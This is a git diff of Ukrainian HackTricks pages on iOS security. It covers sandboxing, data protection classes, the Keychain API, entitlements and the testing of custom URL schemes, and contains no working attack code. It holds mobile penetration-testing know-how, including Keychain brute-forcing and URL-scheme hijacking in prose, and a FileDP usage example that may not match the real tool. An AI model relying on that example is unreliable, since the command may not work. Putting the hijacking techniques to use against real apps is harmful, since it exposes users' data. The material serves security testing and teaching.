||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,41 +1,40 @@
|
|||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити вашу **компанію в рекламі на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **і** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв на GitHub**.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
# Розділення привілеїв та пісочниця
|
||||
|
||||
У iOS існує розрізнення в привілеях між додатками, доступними користувачеві, та основними процесами системи. Додатки працюють під ідентифікатором користувача **`mobile`**, тоді як важливі системні процеси працюють як **`root`**. Це розділення підсилюється механізмом пісочниці, який накладає строгі обмеження на те, які дії можуть виконувати додатки. Наприклад, навіть якщо додатки мають однаковий ідентифікатор користувача, вони заборонені від доступу або зміни даних один одного.
|
||||
В iOS існує розрізнення привілеїв між додатками, доступними користувачеві, та основними процесами системи. Додатки працюють під ідентичністю користувача **`mobile`**, тоді як критично важливі системні процеси функціонують як **`root`**. Це розділення посилюється механізмом пісочниці, який накладає суворі обмеження на дії, які можуть виконувати додатки. Наприклад, навіть якщо додатки мають однакову ідентичність користувача, їм заборонено отримувати доступ або змінювати дані один одного.
|
||||
|
||||
Додатки встановлюються в конкретний каталог (`private/var/mobile/Applications/{випадковий ID}`) та мають обмежений доступ на читання до певних системних областей та функцій, таких як SMS та телефонні дзвінки. Доступ до захищених областей спричиняє вибух запиту на отримання дозволу користувача.
|
||||
Додатки встановлюються в певний каталог (`private/var/mobile/Applications/{random ID}`) і мають обмежений доступ для читання до певних системних областей і функцій, таких як SMS та телефонні дзвінки. Доступ до захищених областей викликає спливаюче вікно з запитом на дозвіл користувача.
|
||||
|
||||
# Захист даних
|
||||
|
||||
iOS пропонує розробникам **API захисту даних**, побудовані на процесорі Secure Enclave Processor (SEP) — спеціалізованому копроцесорі для криптографічних операцій та керування ключами. SEP забезпечує цілісність захисту даних за допомогою унікального ключа, специфічного для пристрою, UID пристрою, вбудованого в нього.
|
||||
iOS пропонує розробникам **API захисту даних**, побудовані на основі Secure Enclave Processor (SEP) — спеціального сопроцесора для криптографічних операцій та управління ключами. SEP забезпечує цілісність захисту даних за допомогою унікального ключа, специфічного для пристрою, ідентифікатора пристрою (UID), вбудованого в нього.
|
||||
|
||||
При створенні файлу генерується унікальний ключ шифрування AES 256 бітів, який шифрує вміст файлу. Цей ключ шифрування, разом з ідентифікатором класу, потім шифрується за допомогою ключа класу та зберігається в метаданих файлу. Для розшифрування файлу використовується ключ системи для доступу до метаданих, отримання ключа класу з ідентифікатором класу, а потім розшифрування унікального ключа шифрування файлу.
|
||||
При створенні файлу генерується унікальний 256-бітний ключ шифрування AES, який шифрує вміст файлу. Цей ключ шифрування разом з ідентифікатором класу потім шифрується за допомогою класного ключа та зберігається в метаданих файлу. Дешифрування файлу передбачає використання системного ключа для доступу до метаданих, отримання класного ключа за допомогою ідентифікатора класу, а потім дешифрування унікального ключа шифрування файлу.
|
||||
|
||||
iOS визначає **чотири класи захисту** для захисту даних, які визначають, коли і як дані можуть бути доступні:
|
||||
iOS визначає **чотири класи захисту** для безпеки даних, які визначають, коли і як можна отримати доступ до даних:
|
||||
|
||||
- **Повний захист (NSFileProtectionComplete)**: Дані недоступні до розблокування пристрою за допомогою коду доступу користувача.
|
||||
- **Захищено, якщо відкрито (NSFileProtectionCompleteUnlessOpen)**: Дозволяє доступ до файлу навіть після блокування пристрою, за умови, що файл був відкритий, коли пристрій був розблокований.
|
||||
- **Захищено до першої аутентифікації користувача (NSFileProtectionCompleteUntilFirstUserAuthentication)**: Дані доступні після першого розблокування користувачем після завантаження, залишаються доступними навіть якщо пристрій знову заблоковано.
|
||||
- **Без захисту (NSFileProtectionNone)**: Дані захищені лише UID пристрою, що сприяє швидкому видаленню даних віддалено.
|
||||
- **Повний захист (NSFileProtectionComplete)**: Дані недоступні, поки пристрій не буде розблоковано за допомогою пароля користувача.
|
||||
- **Захищено, якщо не відкрито (NSFileProtectionCompleteUnlessOpen)**: Дозволяє доступ до файлу навіть після блокування пристрою, якщо файл був відкритий, коли пристрій був розблокований.
|
||||
- **Захищено до першої аутентифікації користувача (NSFileProtectionCompleteUntilFirstUserAuthentication)**: Дані доступні після першого розблокування користувача після завантаження, залишаючись доступними навіть якщо пристрій знову заблоковано.
|
||||
- **Без захисту (NSFileProtectionNone)**: Дані захищені лише ідентифікатором пристрою (UID), що полегшує швидке видалення даних віддалено.
|
||||
|
||||
Шифрування всіх класів, крім `NSFileProtectionNone`, включає ключ, похідний від UID пристрою та коду доступу користувача, що забезпечує можливість розшифрування лише на пристрої з правильним кодом доступу. Починаючи з iOS 7, клас захисту за замовчуванням — "Захищено до першої аутентифікації користувача".
|
||||
Шифрування всіх класів, за винятком `NSFileProtectionNone`, передбачає ключ, отриманий як з ідентифікатора пристрою (UID), так і з пароля користувача, що забезпечує можливість дешифрування лише на пристрої з правильним паролем. Починаючи з iOS 7, клас захисту за замовчуванням — "Захищено до першої аутентифікації користувача".
|
||||
|
||||
Розробники можуть використовувати [**FileDP**](https://github.com/abjurato/FileDp-Source), інструмент для перевірки класу захисту даних файлів на iPhone.
|
||||
|
||||
</details>
|
||||
```python
|
||||
# Example code to use FileDP for checking file protection class
|
||||
# Note: Ensure your device is jailbroken and has Python installed to use FileDP.
|
||||
|
@ -44,46 +43,46 @@ git clone https://github.com/abjurato/FileDp-Source
|
|||
cd FileDp-Source
|
||||
python filedp.py /path/to/check
|
||||
```
|
||||
## **Ключовий ланцюжок**
|
||||
## **Ключниця**
|
||||
|
||||
У iOS **Ключовий ланцюжок** служить як безпечний **зашифрований контейнер** для зберігання **чутливої інформації**, доступ до якої має лише додаток, який її зберіг або особи, які мають відповідні дозволи. Це шифрування посилене унікальним **паролем, створеним iOS**, який сам зашифрований за допомогою **AES**. Цей процес шифрування використовує функцію **PBKDF2**, яка поєднує пароль користувача з сіллю, отриманою з **UID** пристрою, компонентом, до якого може отримати доступ лише **чіп безпекового підсилювача**. Внаслідок цього, навіть якщо пароль користувача відомий, вміст Ключового ланцюжка залишається недоступним на будь-якому пристрої, крім того, де він був початково зашифрований.
|
||||
В iOS **Ключниця** слугує безпечним **зашифрованим контейнером** для зберігання **чутливої інформації**, доступної лише для програми, яка її зберігала, або тих, хто явно авторизований. Це шифрування підкріплене унікальним **паролем, згенерованим iOS**, який сам по собі зашифрований за допомогою **AES**. Цей процес шифрування використовує **функцію PBKDF2**, поєднуючи код доступу користувача з сіллю, отриманою з **UID** пристрою, компонентом, до якого може отримати доступ лише **чіпсет безпечного оточення**. Отже, навіть якщо код доступу користувача відомий, вміст Ключниці залишається недоступним на будь-якому пристрої, окрім того, на якому вони були спочатку зашифровані.
|
||||
|
||||
**Управління та доступ** до даних Ключового ланцюжка обробляється демоном **`securityd`**, на основі конкретних дозволів додатків, таких як `Keychain-access-groups` та `application-identifier`.
|
||||
**Управління та доступ** до даних Ключниці здійснюється демоном **`securityd`**, на основі специфічних прав доступу програми, таких як `Keychain-access-groups` та `application-identifier`.
|
||||
|
||||
### **Операції API Ключового ланцюжка**
|
||||
### **Операції API Ключниці**
|
||||
|
||||
API Ключового ланцюжка, детально описаний у [документації служб Ключового ланцюжка Apple](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/02concepts/concepts.html), надає основні функції для управління безпечним зберіганням:
|
||||
API Ключниці, детально описаний у [документації Apple з сервісів Ключниці](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/02concepts/concepts.html), надає основні функції для управління безпечним зберіганням:
|
||||
|
||||
- **`SecItemAdd`**: Додає новий елемент до Ключового ланцюжка.
|
||||
- **`SecItemUpdate`**: Оновлює існуючий елемент у Ключовому ланцюжку.
|
||||
- **`SecItemCopyMatching`**: Отримує елемент з Ключового ланцюжка.
|
||||
- **`SecItemDelete`**: Видаляє елемент з Ключового ланцюжка.
|
||||
- **`SecItemAdd`**: Додає новий елемент до Ключниці.
|
||||
- **`SecItemUpdate`**: Оновлює існуючий елемент у Ключниці.
|
||||
- **`SecItemCopyMatching`**: Отримує елемент з Ключниці.
|
||||
- **`SecItemDelete`**: Видаляє елемент з Ключниці.
|
||||
|
||||
Підбір пароля Ключового ланцюжка включає в себе або напад на зашифрований ключ безпосередньо, або спробу вгадати пароль на самому пристрої, значно ускладнену використанням чіпа безпекового підсилювача, який встановлює затримку між невдалими спробами.
|
||||
Брутфорсинг пароля Ключниці передбачає або атаку на зашифрований ключ безпосередньо, або спробу вгадати код доступу на самому пристрої, що значно ускладнюється через впровадження затримки між невдалими спробами безпечним оточенням.
|
||||
|
||||
### **Налаштування Захисту Даних Ключового ланцюжка**
|
||||
### **Налаштування захисту даних елементів Ключниці**
|
||||
|
||||
Рівні захисту даних для елементів Ключового ланцюжка встановлюються за допомогою атрибуту `kSecAttrAccessible` під час створення або оновлення елемента. Ці рівні, [як вказано Apple](https://developer.apple.com/documentation/security/keychain_services/keychain_items/item_attribute_keys_and_values#1679100), визначають, коли і як елементи Ключового ланцюжка доступні:
|
||||
Рівні захисту даних для елементів Ключниці встановлюються за допомогою атрибута `kSecAttrAccessible` під час створення або оновлення елемента. Ці рівні, [як зазначено Apple](https://developer.apple.com/documentation/security/keychain_services/keychain_items/item_attribute_keys_and_values#1679100), визначають, коли і як елементи Ключниці доступні:
|
||||
|
||||
- **`kSecAttrAccessibleAlways`**: Доступний у будь-який час, незалежно від статусу блокування пристрою.
|
||||
- **`kSecAttrAccessibleAlwaysThisDeviceOnly`**: Завжди доступний, але не включений у резервні копії.
|
||||
- **`kSecAttrAccessibleAfterFirstUnlock`**: Доступний після першого розблокування після перезапуску.
|
||||
- **`kSecAttrAccessibleAfterFirstUnlockThisDeviceOnly`**: Те ж саме, що і вище, але не може бути переданий на нові пристрої.
|
||||
- **`kSecAttrAccessibleWhenUnlocked`**: Доступний лише при розблокованому пристрої.
|
||||
- **`kSecAttrAccessibleWhenUnlockedThisDeviceOnly`**: Доступний при розблокованому, не включений у резервні копії.
|
||||
- **`kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly`**: Потрібен пароль пристрою, не включений у резервні копії.
|
||||
- **`kSecAttrAccessibleAfterFirstUnlock`**: Доступний після першого розблокування після перезавантаження.
|
||||
- **`kSecAttrAccessibleAfterFirstUnlockThisDeviceOnly`**: Те ж саме, але не підлягає перенесенню на нові пристрої.
|
||||
- **`kSecAttrAccessibleWhenUnlocked`**: Доступний лише коли пристрій розблоковано.
|
||||
- **`kSecAttrAccessibleWhenUnlockedThisDeviceOnly`**: Доступний при розблокуванні, не включений у резервні копії.
|
||||
- **`kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly`**: Вимагає код доступу пристрою, не включений у резервні копії.
|
||||
|
||||
**`AccessControlFlags`** додатково уточнюють методи доступу, дозволяючи використовувати біометричну аутентифікацію або використання пароля.
|
||||
**`AccessControlFlags`** додатково уточнюють методи доступу, дозволяючи біометричну аутентифікацію або використання коду доступу.
|
||||
|
||||
### **Попередження про Прошиті Пристрої**
|
||||
### **Попередження про джейлбрейкнуті пристрої**
|
||||
|
||||
{% hint style="warning" %}
|
||||
На **пристроях з прошивкою**, захисти Ключового ланцюжка порушені, що становить значний ризик для безпеки.
|
||||
На **джейлбрейкнутіх пристроях** захисти Ключниці скомпрометовані, що становить значний ризик безпеки.
|
||||
{% endhint %}
|
||||
|
||||
### **Постійність Даних Ключового ланцюжка**
|
||||
### **Стійкість даних Ключниці**
|
||||
|
||||
На відміну від даних, специфічних для додатків, які видаляються при видаленні додатку, **дані Ключового ланцюжка залишаються** на пристрої. Ця характеристика може дозволити новим власникам вторинного пристрою отримати доступ до даних попереднього власника додатків, просто перевстановивши додатки. Розробникам рекомендується активно очищати дані Ключового ланцюжка при встановленні додатку або під час виходу з системи, щоб пом'якшити цей ризик. Ось приклад коду на Swift, який демонструє, як очистити дані Ключового ланцюжка при першому запуску додатку:
|
||||
На відміну від даних, специфічних для програми, які видаляються при видаленні програми, **дані Ключниці зберігаються** на пристрої. Ця характеристика може дозволити новим власникам вживаного пристрою отримати доступ до даних програми попереднього власника, просто перевстановивши програми. Розробникам рекомендується проактивно очищати дані Ключниці під час встановлення програми або під час виходу, щоб зменшити цей ризик. Ось приклад коду Swift, що демонструє, як очистити дані Ключниці при першому запуску програми:
|
||||
```swift
|
||||
let userDefaults = UserDefaults.standard
|
||||
|
||||
|
@ -97,41 +96,42 @@ userDefaults.synchronize() // Forces the app to update UserDefaults
|
|||
```
|
||||
# **Можливості додатків**
|
||||
|
||||
У сфері розробки додатків **пісочниця** відіграє важливу роль у підвищенні безпеки. Цей процес забезпечує, що кожен додаток працює в межах власного унікального домашнього каталогу, тим самим запобігаючи доступу до системних файлів або даних, що належать іншим додаткам. Застосування цих обмежень здійснюється через політики пісочниці, які є частиною **Trusted BSD (MAC) Mandatory Access Control Framework**.
|
||||
У сфері розробки додатків **пісочниця** відіграє важливу роль у підвищенні безпеки. Цей процес забезпечує, що кожен додаток працює у своїй унікальній домашній директорії, запобігаючи доступу до системних файлів або даних, що належать іншим додаткам. Вимушення цих обмежень здійснюється через політики пісочниці, які є частиною **Trusted BSD (MAC) Mandatory Access Control Framework**.
|
||||
|
||||
Розробники мають можливість налаштовувати певні **можливості або дозволи** для своїх додатків, такі як **Захист даних** або **Спільний доступ до ключів**. Ці дозволи застосовуються безпосередньо після встановлення додатка. Тим не менш, для доступу до певних захищених ресурсів додаток повинен отримати явну згоду користувача під час першої спроби. Це досягається за допомогою _рядків призначення_ або _рядків опису використання_, які представляються користувачам у вікні запиту дозволу.
|
||||
Розробники мають можливість налаштовувати певні **можливості або дозволи** для своїх додатків, такі як **Захист даних** або **Спільний доступ до ключів**. Ці дозволи застосовуються відразу після встановлення додатка. Проте, для доступу до певних захищених ресурсів, додаток повинен отримати явну згоду користувача під час першої спроби. Це досягається за допомогою _рядків мети_ або _рядків опису використання_, які подаються користувачам у сповіщенні про запит дозволу.
|
||||
|
||||
Для тих, хто має доступ до вихідного коду, перевірка дозволів, включених у файл `Info.plist`, може бути виконана так:
|
||||
Для тих, хто має доступ до вихідного коду, перевірка дозволів, включених у файл `Info.plist`, може бути виконана шляхом:
|
||||
|
||||
1. Відкрити проект у Xcode.
|
||||
2. Знайти та відкрити файл `Info.plist`.
|
||||
3. Пошук ключів, які починаються з `"Privacy -"`, з можливістю перегляду сирцевих ключів/значень для ясності.
|
||||
1. Відкриття проекту в Xcode.
|
||||
2. Знаходження та відкриття файлу `Info.plist`.
|
||||
3. Пошуку ключів, що починаються з `"Privacy -"`, з можливістю перегляду сирих ключів/значень для ясності.
|
||||
|
||||
При роботі з файлом IPA можна дотримуватися наступних кроків:
|
||||
При роботі з файлом IPA можна виконати такі кроки:
|
||||
|
||||
1. Розпакувати IPA.
|
||||
2. Знайти файл `Info.plist` у `Payload/<ім'ядодатка>.app/`.
|
||||
3. При необхідності конвертувати файл у формат XML для полегшення інспекції.
|
||||
2. Знайти файл `Info.plist` у `Payload/<appname>.app/`.
|
||||
3. Перетворити файл у формат XML, якщо це необхідно, для легшої перевірки.
|
||||
|
||||
Наприклад, рядки призначення в файлі `Info.plist` можуть виглядати наступним чином:
|
||||
Наприклад, рядки мети у файлі `Info.plist` можуть виглядати так:
|
||||
```xml
|
||||
<plist version="1.0">
|
||||
<dict>
|
||||
<key>NSLocationWhenInUseUsageDescription</key>
|
||||
<string>Your location is used to provide turn-by-turn directions to your destination.</string>
|
||||
```
|
||||
## Можливості пристрою
|
||||
Файл `Info.plist` додатка вказує **можливості пристрою**, які допомагають App Store фільтрувати додатки за сумісністю пристрою. Ці можливості визначаються під ключем **`UIRequiredDeviceCapabilities`**. Наприклад:
|
||||
## Device Capabilities
|
||||
Файл `Info.plist` програми вказує **можливості пристрою**, які допомагають App Store фільтрувати програми за сумісністю з пристроєм. Вони визначені під ключем **`UIRequiredDeviceCapabilities`**. Наприклад:
|
||||
```xml
|
||||
<key>UIRequiredDeviceCapabilities</key>
|
||||
<array>
|
||||
<string>armv7</string>
|
||||
</array>
|
||||
```
|
||||
## Права доступу
|
||||
Цей приклад вказує на те, що додаток сумісний з набором інструкцій armv7. Розробники також можуть вказувати можливості, такі як nfc, щоб забезпечити доступність свого додатку лише для пристроїв, що підтримують NFC.
|
||||
|
||||
**Права доступу** є ще одним важливим аспектом розробки додатків для iOS, що служать як пари ключ-значення, які надають додаткам дозвіл на виконання певних операцій поза перевірками часу виконання. Наприклад, увімкнення **Захисту даних** в додатку передбачає додавання конкретного права доступу в проект Xcode, яке потім відображається в файлі прав доступу додатка або вбудованому файлі мобільного надання для IPAs.
|
||||
## Права
|
||||
|
||||
**Права** є ще одним критично важливим аспектом розробки додатків для iOS, які служать як пари ключ-значення, що надають додаткам дозвіл виконувати певні операції, що виходять за межі перевірок під час виконання. Наприклад, увімкнення **Захисту даних** у додатку передбачає додавання конкретного права в проект Xcode, що потім відображається у файлі прав додатку або в вбудованому файлі мобільного провізування для IPA.
|
||||
|
||||
# Посилання
|
||||
* [https://mas.owasp.org/MASTG/iOS/0x06d-Testing-Data-Storage](https://mas.owasp.org/MASTG/iOS/0x06d-Testing-Data-Storage)
|
||||
|
@ -139,18 +139,17 @@ userDefaults.synchronize() // Forces the app to update UserDefaults
|
|||
* [https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0069/](https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0069/)
|
||||
* [https://mas.owasp.org/MASTG/iOS/0x06h-Testing-Platform-Interaction/](https://mas.owasp.org/MASTG/iOS/0x06h-Testing-Platform-Interaction/)
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити вашу **компанію рекламовану на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв GitHub.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,28 +1,29 @@
|
|||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити вашу **компанію в рекламі на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **і** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв на GitHub**.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
Це підсумок відповідної інформації з [https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0075/](https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0075/)
|
||||
Це резюме з відповідної інформації з [https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0075/](https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0075/)
|
||||
|
||||
## Основна інформація
|
||||
|
||||
Спеціальні URL-схеми дозволяють додаткам спілкуватися за допомогою спеціального протоколу, як описано в [Документації розробника Apple](https://developer.apple.com/library/content/documentation/iPhone/Conceptual/iPhoneOSProgrammingGuide/Inter-AppCommunication/Inter-AppCommunication.html#//apple_ref/doc/uid/TP40007072-CH6-SW1). Ці схеми повинні бути оголошені додатком, який потім обробляє вхідні URL-адреси за цими схемами. Важливо **перевіряти всі параметри URL** та **відкидати будь-які некоректні URL-адреси**, щоб запобігти атакам через цей вектор.
|
||||
Користувацькі URL-схеми дозволяють додаткам спілкуватися, використовуючи власний протокол, як детально описано в [документації розробника Apple](https://developer.apple.com/library/content/documentation/iPhone/Conceptual/iPhoneOSProgrammingGuide/Inter-AppCommunication/Inter-AppCommunication.html#//apple_ref/doc/uid/TP40007072-CH6-SW1). Ці схеми повинні бути оголошені додатком, який потім обробляє вхідні URL відповідно до цих схем. Важливо **перевіряти всі параметри URL** та **відкидати будь-які неправильно сформовані URL**, щоб запобігти атакам через цей вектор.
|
||||
|
||||
Наводиться приклад, де URI `myapp://hostname?data=123876123` викликає певну дію додатка. Зазначена уразливість була в додатку Skype Mobile, який дозволяв неповідомлені дії з дзвінками через протокол `skype://`. Зареєстровані схеми можна знайти в `Info.plist` додатка під `CFBundleURLTypes`. Зловмисні додатки можуть використовувати це, повторно реєструючи URIs для перехоплення чутливої інформації.
|
||||
Приклад наводить URI `myapp://hostname?data=123876123`, який викликає певну дію програми. Відзначена вразливість була в додатку Skype Mobile, який дозволяв неприпустимі дії дзвінків через протокол `skype://`. Зареєстровані схеми можна знайти в `Info.plist` додатка під `CFBundleURLTypes`. Зловмисні програми можуть використовувати це, повторно реєструючи URI для перехоплення чутливої інформації.
|
||||
|
||||
### Реєстрація схем запитів додатків
|
||||
|
||||
Починаючи з iOS 9.0, для перевірки доступності додатка, `canOpenURL:` вимагає оголошення URL-схем в `Info.plist` під `LSApplicationQueriesSchemes`. Це обмежує схеми, які додаток може запитувати до 50, підвищуючи конфіденційність шляхом запобігання переліку додатків.
|
||||
З iOS 9.0, щоб перевірити, чи доступний додаток, `canOpenURL:` вимагає оголошення URL-схем у `Info.plist` під `LSApplicationQueriesSchemes`. Це обмежує схеми, які може запитувати додаток, до 50, підвищуючи конфіденційність, запобігаючи перерахуванню додатків.
|
||||
```xml
|
||||
<key>LSApplicationQueriesSchemes</key>
|
||||
<array>
|
||||
|
@ -30,9 +31,9 @@
|
|||
<string>url_scheme2</string>
|
||||
</array>
|
||||
```
|
||||
### Тестування обробки та перевірки URL-адрес
|
||||
### Testing URL Handling and Validation
|
||||
|
||||
Розробники повинні перевірити конкретні методи в початковому коді, щоб зрозуміти конструкцію та перевірку шляху URL-адрес, такі як `application:didFinishLaunchingWithOptions:` та `application:openURL:options:`. Наприклад, Telegram використовує різні методи для відкриття URL-адрес:
|
||||
Розробники повинні перевірити конкретні методи в вихідному коді, щоб зрозуміти побудову та валідацію URL-адрес, такі як `application:didFinishLaunchingWithOptions:` та `application:openURL:options:`. Наприклад, Telegram використовує різні методи для відкриття URL-адрес:
|
||||
```swift
|
||||
func application(_ application: UIApplication, open url: URL, sourceApplication: String?) -> Bool {
|
||||
self.openUrl(url: url)
|
||||
|
@ -56,17 +57,17 @@ self.openUrl(url: url)
|
|||
return true
|
||||
}
|
||||
```
|
||||
### Тестування запитів URL до інших додатків
|
||||
### Тестування URL запитів до інших додатків
|
||||
|
||||
